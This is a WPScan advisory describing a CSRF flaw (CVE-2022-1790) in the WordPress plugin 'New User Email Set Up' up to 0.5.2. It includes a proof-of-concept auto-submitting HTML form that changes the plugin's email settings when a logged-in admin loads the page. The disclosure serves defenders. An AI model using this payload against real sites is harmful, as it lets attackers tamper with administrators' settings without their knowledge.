WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

New User Email Set Up <= 0.5.2 - Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=new-user-email-set-up%2Fnewuseremailsetup.php" method="POST">
    <input type="text" name="option_page" value="nue-options-group">
    <input type="text" name="action" value="update">
    <input type="text" name="newuseremailhtml" value="text/HTML">
    <input type="text" name="newuseremailsubject" value="Welcome to hacked">
    <input type="text" name="newuseremailtext" value="hacked							">
    <input type="text" name="newuseremailfromaddress" value="Enter your admin email here">
    <input type="text" name="newuseremailfrom" value="Enter the name you want your admin email sent from here. eg. Admin">
    <input type="text" name="nue_submit" value="Save">
    <input type="text" name="newuseremailadmin" value="yes">
    <input type="text" name="newuseremailadminnotifydiff" value="no">
    <input type="text" name="newuseremailadminsubject" value="%blogname% - New User Registration">
    <input type="text" name="newuseremailadmintext" value="aaa">
    <input type="text" name="cmd" value="_s-xclick">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

new-user-email-set-up
No known fix - plugin closed

References

CVE
CVE-2022-1790

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
176d5761-4f01-4173-a70c-6052a6a9963e

Timeline

Publicly Published

2022-05-23 (about 2 months ago)

Added

2022-05-23 (about 2 months ago)

Last Updated

2022-05-23 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us